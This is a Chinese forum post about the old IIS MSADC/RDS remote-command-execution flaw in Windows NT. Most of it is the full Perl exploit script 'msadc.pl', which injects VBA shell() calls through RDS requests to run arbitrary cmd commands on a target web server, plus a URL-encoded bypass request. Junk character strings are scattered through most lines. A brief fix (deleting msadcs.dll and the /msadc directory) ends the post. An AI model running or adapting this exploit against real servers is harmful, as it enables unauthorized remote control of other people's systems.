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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) W^dRA xVX  
3G-f+HN^E  
涉及程序: 0/?=FM >  
Microsoft NT server 'K3%@,O  
{m 5R=22^  
描述: 3Tr}t.mt  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ,:"c"   
KPs @v@5M  
详细: M@O<b-  
如果你没有时间读详细内容的话,就删除: T eBJ  
c:\Program Files\Common Files\System\Msadc\msadcs.dll S3_QOL  
有关的安全问题就没有了。 u^&,~n@n7  
5b%zpx0Y  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 0 +"P 1/  
\}NZ] l  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 =s[P =dU  
关于利用ODBC远程漏洞的描述,请参看: {$^Lb4O[V  
/R)(u@jk  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm vA, tW,  
"AMsBvzgo  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 bL18G(5  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp &?B\(?*  
)J!=X`b  
这里不再论述。 407;M%?'A  
T|lyjX$Q]9  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: h*?/[XY  
t^@4n&Dg  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 0Kenyn4?  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! %TRH,-@3h  
n"Q fW~U  
%#b+ =J  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ^tFgkzXm  
`PvGfmYOl  
#!perl T1pMe{  
# }8&L?B;90  
# MSADC/RDS 'usage' (aka exploit) script vxx7aPjC  
# ' C|yUsBC  
# by rain.forest.puppy h5R5FzY0&  
# H1g"09?h6o  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me U0%m*i  
# beta test and find errors! 0qMf6  
OgB ZoTT  
use Socket; use Getopt::Std;  p(Bn!  
getopts("e:vd:h:XR", \%args); |p{FSS  
?$FvE4!n  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; B|n<{g[-cM  
/-jk_8@a  
if (!defined $args{h} && !defined $args{R}) { h` $2/%?  
print qq~ KmlpB  
Usage: msadc.pl -h <host> { -d <delay> -X -v } \m;"KyP+  
-h <host> = host you want to scan (ip or domain) xT1{O`  
-d <seconds> = delay between calls, default 1 second 80qe5WC.2u  
-X = dump Index Server path table, if available kVb8$Sp  
-v = verbose 4>xv7  
-e = external dictionary file for step 5 #3act )m  
-QUvd1S40  
Or a -R will resume a command session [XP3  
_w>9Z>PR  
~; exit;} cYMlc wS  
Q!dNJQpb  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; "Hw%@  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 1ssEJ; #s  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} r)SwV!b  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); /R44x\nhr  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} _K"X  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Dx<CO1%z-  
1p9+c~4l:  
if (!defined $args{R}){ $ret = &has_msadc; }];_ug* "  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ="*8ja-K  
O;*.dR  
print "Please type the NT commandline you want to run (cmd /c assumed):\n"  p%6j2;D  
. "cmd /c "; t'0dyQ%u  
$in=<STDIN>; chomp $in; `[5QouPV  
$command="cmd /c " . $in ; 7T3ub3\  
+#!! 'XP  
if (defined $args{R}) {&load; exit;} 5=--+8[ bV  
N2^B  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ;{Kx$Yt+  
&try_btcustmr; i%)Nn^a;T  
K q0!.455  
print "\nStep 2: Trying to make our own DSN..."; c 0%%X!!$  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; W!BIz&SY:-  
&% \`Lwh  
print "\nStep 3: Trying known DSNs..."; "*E%?MG  
&known_dsn; `?ijKZ}y5  
\kGi5G]  
print "\nStep 4: Trying known .mdbs..."; @n##.th  
&known_mdb; /hMD Me  
s) vHLf4T  
if (defined $args{e}){ 6M`N| %  
print "\nStep 5: Trying dictionary of DSN names..."; Q+\?gU]  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 8Dq;QH}  
0FV?By  
print "Sorry Charley...maybe next time?\n"; %CP:rAd`M.  
exit; \VX~'pkrd/  
w&7-:."1i  
############################################################################## 8f<[Bu ze  
058+_xX  
sub sendraw { # ripped and modded from whisker Gq/f|43}@O  
sleep($delay); # it's a DoS on the server! At least on mine... O0gLu1*1v  
my ($pstr)=@_; iZ3%'~K<3J  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || MMfcY 3#%  
die("Socket problems\n"); oZV=vg5Dq  
if(connect(S,pack "SnA4x8",2,80,$target)){ =wW3Tr7~  
select(S); $|=1; {rG`Upp  
print $pstr; my @in=<S>; [J|)DUjt  
select(STDOUT); close(S); @{Q[M3l  
return @in; u9*}@{,  
} else { die("Can't connect...\n"); }} v@0lTl_  
0/."R ;  
############################################################################## ;_lEu" -  
j:9kJq>mv  
sub make_header { # make the HTTP request }'KVi=qnHb  
my $msadc=<<EOT |QvG;{!  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 {zc<:^r^  
User-Agent: ACTIVEDATA e:Zc-  
Host: $ip _ s]=g  
Content-Length: $clen 0NB6S&lI^k  
Connection: Keep-Alive >k?/'R  
~_TmS9  
ADCClientVersion:01.06 ?N,'1I  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 38%xB<Y  
E Cx_ [|3{  
--!ADM!ROX!YOUR!WORLD! Dm j^aFB0|  
Content-Type: application/x-varg F-)lRGw  
Content-Length: $reqlen < }3c%Q1  
L$GhM!c  
EOT yVyh'd:Ik  
; $msadc=~s/\n/\r\n/g; M[ (mH(j  
return $msadc;} ,HEx9*E/s  
{P_~_5o_  
############################################################################## >69+e+|I  
$Wy7z^ t  
sub make_req { # make the RDS request an 3"y6.8  
my ($switch, $p1, $p2)=@_; NW`.RGLI<  
my $req=""; my $t1, $t2, $query, $dsn; xP.B,1\X  
,x?H]a)  
if ($switch==1){ # this is the btcustmr.mdb query {g2cm'hD  
$query="Select * from Customers where City=" . make_shell(); IPU'M*|Q  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . .-;K$'YG  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 6}.B2f9  
Ds$8$1=L=k  
elsif ($switch==2){ # this is general make table query Hut au^l  
$query="create table AZZ (B int, C varchar(10))"; u:pdY'`"#  
$dsn="$p1";} "-4V48ci  
66?!"w  
elsif ($switch==3){ # this is general exploit table query 8=!M0i  
$query="select * from AZZ where C=" . make_shell(); ?=]`X=g 6  
$dsn="$p1";} k[l+~5ix  
,#1ke  
elsif ($switch==4){ # attempt to hork file info from index server WYQJ +z5  
$query="select path from scope()"; J<Wz3}w6  
$dsn="Provider=MSIDXS;";} aXyu%<@k  
EOrWax@k$}  
elsif ($switch==5){ # bad query ~(tZW  
$query="select"; K h9$  
$dsn="$p1";} :z%vNKy1  
&+-ZXN  
$t1= make_unicode($query); S<f&?\wK=v  
$t2= make_unicode($dsn); w~EXO;L2  
$req = "\x02\x00\x03\x00"; J'4{+Q_pa  
$req.= "\x08\x00" . pack ("S1", length($t1)); }(AUe5aw`G  
$req.= "\x00\x00" . $t1 ; >wjWX{&?  
$req.= "\x08\x00" . pack ("S1", length($t2)); aTs5^Kh')  
$req.= "\x00\x00" . $t2 ; f- pt8  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; :<=!v5 SK  
return $req;} 0K'lr;  
<JHU*Z  
############################################################################## V; 1r  
o$m64l  
sub make_shell { # this makes the shell() statement p#O#M N*  
return "'|shell(\"$command\")|'";}  O+1 e  
  /I  
############################################################################## ^>uzMR!q5  
pv TV*  
sub make_unicode { # quick little function to convert to unicode #lQbMuR  
my ($in)=@_; my $out; }$V]00 X  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 5j`"@C5;O  
return $out;} l/yLSGjM  
k0?4vA  
############################################################################## _Kx  /z  
L1`^~m|  
sub rdo_success { # checks for RDO return success (this is kludge) 0/<}.Z]  
my (@in) = @_; my $base=content_start(@in); [kzcsJ'/e  
if($in[$base]=~/multipart\/mixed/){ cD8.rRyD  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Q{!lLka  
return 0;}  M}}9  
MQ2gzKw>  
############################################################################## N10'./c K  
geWis(#J  
sub make_dsn { # this makes a DSN for us 2GcQh]ohc  
my @drives=("c","d","e","f"); ]Ole#Lz}Q  
print "\nMaking DSN: "; /`0*!sN*5  
foreach $drive (@drives) { a=k+:=%y  
print "$drive: "; XZuJ<]}X,  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . a=gTGG"9  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" z-uJ+SA  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); zzuDI_,/  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 1j6ZSE/*|  
return 0 if $2 eq "404"; # not found/doesn't exist <\?ySto  
if($2 eq "200") { $Ha?:jSc  
foreach $line (@results) { gE JmMh  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} m:/@DZ  
} return 0;} "j3Yu4_ks  
'/SMqmi  
############################################################################## SxC$EQ gL  
DTN@b!  
sub verify_exists { LLg ']9  
my ($page)=@_; TclZdk]%T  
my @results=sendraw("GET $page HTTP/1.0\n\n"); g8mVjM\B;  
return $results[0];} >DQl&:-)t  
~*Ve>4  
############################################################################## HGB96,o f9  
4XQv  
sub try_btcustmr { M9]O!{ sq  
my @drives=("c","d","e","f"); g GN[AqR  
my @dirs=("winnt","winnt35","winnt351","win","windows"); WW@/q`h  
E@"+w,x)  
foreach $dir (@dirs) { AZorzQ]s  
print "$dir -> "; # fun status so you can see progress u~Q0V J~  
foreach $drive (@drives) { B8Jev\_  
print "$drive: "; # ditto 'rHkJ  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Iqe4O~)  
$reqlenlen=length( "$reqlen" ); A2Rr*e  
$clen= 206 + $reqlenlen + $reqlen; b0x9}  
2j H`  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Tx0/3^\>8A  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} uwQ{y>SG  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} !li Q;R&  
 }Q`Kg8L  
############################################################################## ;f[Ki$7  
!y'LKze+G  
sub odbc_error { 0 '~Jr\4  
my (@in)=@_; my $base; 6=90 wu3  
my $base = content_start(@in); ]ss0~2  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this sL~TV([6/  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; f`p`c*  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; FM0)/6I'x  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; /`D]m?  
return $in[$base+4].$in[$base+5].$in[$base+6];} iYHD:cg)~  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; =bZ>>-<  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . fV Ah</aZ  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} e<l Wel  
DM!vB+j+,  
############################################################################## N+b" LZc  
:doP66["!  
sub verbose { sBu=@8R]y  
my ($in)=@_; =i Rc&  
return if !$verbose; X82sw>Y  
print STDOUT "\n$in\n";} "X>Z!>  
0+;.T1?  
############################################################################## /81Ux@,(e  
`9s5 *;Z  
sub save { B y6:  
my ($p1, $p2, $p3, $p4)=@_; 9HRYk13ae  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; _,NL;66=[  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; W*u Yb|0  
close OUT;} 9X@y*;w<t  
]Tf.KUm  
############################################################################## d'kQE_y2.  
tu6c!o,@  
sub load { ^g~Asz5]  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; &y mfA{s  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); C:_!zY'z  
@p=<IN>; close(IN); %xyt4}-)m  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); aoco'BR F  
$target= inet_aton($ip) || die("inet_aton problems"); _z)G!_7.>\  
print "Resuming to $ip ..."; |`U^+Nf  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; !?Z}b.%W  
if($p[1]==1) { ,78 QLh9:  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ' >`?T}a,  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; +T [0r  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 5X|=qZ  
if (rdo_success(@results)){print "Success!\n";} I^[R]Js  
else { print "failed\n"; verbose(odbc_error(@results));}} /o.wCy,J<  
elsif ($p[1]==3){ E[Tz%x=P  
if(run_query("$p[3]")){ Z%N{Y x(  
print "Success!\n";} else { print "failed\n"; }} G!8O*4+A  
elsif ($p[1]==4){ IpoZ6DB$  
if(run_query($drvst . "$p[3]")){ WsL*P .J  
print "Success!\n"; } else { print "failed\n"; }} d&w g\"E  
exit;} O=MO M  
MQD UJ^I$  
############################################################################## >VE,/?71@  
G! zV=p  
sub create_table { #v=hiL  
my ($in)=@_; ]"q)X{G(+  
$reqlen=length( make_req(2,$in,"") ) - 28; Q68&CO(rE  
$reqlenlen=length( "$reqlen" ); @mNf(&  
$clen= 206 + $reqlenlen + $reqlen; /.aZXC$]  
my @results=sendraw(make_header() . make_req(2,$in,"")); +AtZltM i  
return 1 if rdo_success(@results); a_L&*%;  
my $temp= odbc_error(@results); verbose($temp); f&js,NU"  
return 1 if $temp=~/Table 'AZZ' already exists/; 1G=1FGvP  
return 0;} ^%)'wDK  
H-nk\ K<|  
############################################################################## <)uUAh  
 ;B^G<  
sub known_dsn { 7cK#fh"hvg  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ]N:SB  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", &%>l9~F'~  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 37v!:xF!  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); gJ+MoAM"  
AVOzx00U  
foreach $dSn (@dsns) { Ii?<Lz  
print "."; & *B@qQ  
next if (!is_access("DSN=$dSn")); AGx]srl  
if(create_table("DSN=$dSn")){ 8,a&i:C  
print "$dSn successful\n"; 9<.FwV >  
if(run_query("DSN=$dSn")){ 7F>5<Gv:-  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { }C}~)qaZv+  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ,1Suq\ L  
(NFq/w%  
############################################################################## q<@f3[A  
6U @3 xU`  
sub is_access { zKx?cEpE  
my ($in)=@_; <[Q#}/$"  
$reqlen=length( make_req(5,$in,"") ) - 28; (VO) Q  
$reqlenlen=length( "$reqlen" ); r'7;:  
$clen= 206 + $reqlenlen + $reqlen; q^JJ5{36e  
my @results=sendraw(make_header() . make_req(5,$in,"")); %Fa/82:- "  
my $temp= odbc_error(@results); R N5\,>+  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); .YYiUA-i9n  
return 0;} PM=Q\0  
yXh=~:1~  
############################################################################## (i.MxG Dd  
5H6m{ng  
sub run_query { 0F1 a  
my ($in)=@_; drBWo|/  
$reqlen=length( make_req(3,$in,"") ) - 28; 54JZEc  
$reqlenlen=length( "$reqlen" ); lV?rC z  
$clen= 206 + $reqlenlen + $reqlen; W% YJ.%I  
my @results=sendraw(make_header() . make_req(3,$in,"")); zQ(li9  
return 1 if rdo_success(@results); AZ(["kh[  
my $temp= odbc_error(@results); verbose($temp); );kO2 7dg  
return 0;} aG%KiJ7KEN  
~x)Awdlu  
############################################################################## QjWv?tm  
7Wmk"gp  
sub known_mdb { z[M LMf[c  
my @drives=("c","d","e","f","g"); .6z#o{n  
my @dirs=("winnt","winnt35","winnt351","win","windows"); czi$&(N0w$  
my $dir, $drive, $mdb; %ErL L@e  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; -n?|,cO  
qx18A  
# this is sparse, because I don't know of many 8+k\0fmy  
my @sysmdbs=( "\\catroot\\icatalog.mdb", MSUkCWt!  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", (Q o  
"\\system32\\certmdb.mdb", C;0H _  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 4rO07)~l  
#|v\UJ:Pf/  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 8Focs p2  
"\\cfusion\\cfapps\\forums\\forums_.mdb", )TP 1i  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", >to NGGU=~  
"\\cfusion\\cfapps\\security\\realm_.mdb", [<}:b>a  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", x>A(016:C  
"\\cfusion\\database\\cfexamples.mdb", /1zi(z   
"\\cfusion\\database\\cfsnippets.mdb", .5p"o-:D  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", MH.,dB&  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", R 3TdQ6j  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 7Y&W^]UZ0t  
"\\cfusion\\database\\smpolicy.mdb", r,(rWptf4  
"\\cfusion\\database\cypress.mdb", T\:Vu{|  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", rZLTai}`>  
"\\website\\cgi-win\\dbsample.mdb", |_&vW\  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", v,bes[Ik  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" w,SOvbAxX2  
); #these are just `{c %d  
foreach $drive (@drives) { =5 l7{i*`  
foreach $dir (@dirs){ EoD;'+d  
foreach $mdb (@sysmdbs) { #~^#%G  
print "."; y#F( xm+L  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ g>12!2}  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; #(j'?|2o%  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ - K0>^2hh  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; jutEb@nog  
} else { print "Something's borked. Use verbose next time\n"; }}}}} c/DB"_}!a  
0.'$U}#b  
foreach $drive (@drives) { z2vrV?:  
foreach $mdb (@mdbs) { ` Xc~'zG  
print "."; 8L`J](y  
if(create_table($drv . $drive . $dir . $mdb)){ ts`c_hH,1'  
print "\n" . $drive . $dir . $mdb . " successful\n"; {f((x1{HZx  
if(run_query($drv . $drive . $dir . $mdb)){ ^q-]."W]t~  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; q(p]6Ha|  
} else { print "Something's borked. Use verbose next time\n"; }}}} H5'/i;  
} 'h53:?~  
z|^:1ov,  
############################################################################## 3,DUT{2  
:aI[ lZ  
sub hork_idx { w!,~#hbt6  
print "\nAttempting to dump Index Server tables...\n"; }b)7gd=  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; &m&Z^CA  
$reqlen=length( make_req(4,"","") ) - 28; `wj<d>m  
$reqlenlen=length( "$reqlen" ); KC9_H>  
$clen= 206 + $reqlenlen + $reqlen; 2a'b}<|[(  
my @results=sendraw2(make_header() . make_req(4,"","")); 5MfbO3  
if (rdo_success(@results)){ 5,cq-`  
my $max=@results; my $c; my %d; y!&6"l$K]  
for($c=19; $c<$max; $c++){ .aV#W@iyK  
$results[$c]=~s/\x00//g; qF C0$:z&  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; x ok8  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Hphvsre<  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 0"o%=i;  
$d{"$1$2"}="";} w[}5qAI5*f  
foreach $c (keys %d){ print "$c\n"; } Jte:U*2  
} else {print "Index server doesn't seem to be installed.\n"; }} LG0+A}E=C  
a'u:1C^\  
############################################################################## C ?JcCD2  
XZde}zUWn  
sub dsn_dict { piIj t  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); VRQ'sn@  
while(<IN>){ :c[iS~ ~Y  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; \CNv,HUm3  
next if (!is_access("DSN=$dSn")); %$}aWzQxll  
if(create_table("DSN=$dSn")){ A:Pp;9wl  
print "$dSn successful\n"; #\3(rzQVO  
if(run_query("DSN=$dSn")){ 8;K'77h  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { A.vWGBR  
print "Something's borked. Use verbose next time\n";}}} }c|)i,bL  
print "\n"; close(IN);} 21Mr2-#z  
*WdnP.'Y  
############################################################################## qIIc>By(\"  
g\^7Q  
sub sendraw2 { # ripped and modded from whisker "i0{E!,XL  
sleep($delay); # it's a DoS on the server! At least on mine... , 7-@eZ  
my ($pstr)=@_; r#hA kOw  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || OZ##x  
die("Socket problems\n"); ,'w9@A  
if(connect(S,pack "SnA4x8",2,80,$target)){ %ub\+~  
print "Connected. Getting data"; f|Dq#(^\  
open(OUT,">raw.out"); my @in; HjCcfOej  
select(S); $|=1; print $pstr; 8WU_d`DF  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} V| 9<*  
close(OUT); select(STDOUT); close(S); return @in; m%au* 0p  
} else { die("Can't connect...\n"); }} "=8= G  
qM%l  
############################################################################## {WJ9!pA!lk  
x.W93e[]H  
sub content_start { # this will take in the server headers ;U$Fz~rJ  
my (@in)=@_; my $c; 4+46z|  
for ($c=1;$c<500;$c++) { n1n->l*HGP  
if($in[$c] =~/^\x0d\x0a/){ ?=$=c8xw  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } (jhDO7  
else { return $c+1; }}} Jd#g"a>zZ  
return -1;} # it should never get here actually zv/owK  
Y,0D+sO4  
############################################################################## K@d,8[  
%Y!31oC#  
sub funky { |hGi8  
my (@in)=@_; my $error=odbc_error(@in); kD1[6cJ!=.  
if($error=~/ADO could not find the specified provider/){ +9Vp<(  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; )~@iM.}S2  
exit;} )2vkaR  
if($error=~/A Handler is required/){ p+6L qk<  
print "\nServer has custom handler filters (they most likely are patched)\n"; P(h[QAM  
exit;} ^}Vx5[  
if($error=~/specified Handler has denied Access/){ e+416 ~X v  
print "\nServer has custom handler filters (they most likely are patched)\n"; X'[93 C|K  
exit;}} sX_6qKUH  
a(cZ]`s]*  
############################################################################## JSO'. [N  
Ujb7uho  
sub has_msadc { luLt~A3H$  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Ew.a*[W''  
my $base=content_start(@results); =?9z6=  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); fu 0]BdM  
return 0;} !.\-l2f  
{jVEstP  
######################## j\SvfZ0"  
\ct7~!qM  
;F3#AO4(  
解决方案: .]gY{_|x  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll En&`m  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 4<c #3]  
znVao %b  
拿出来充数 哈哈
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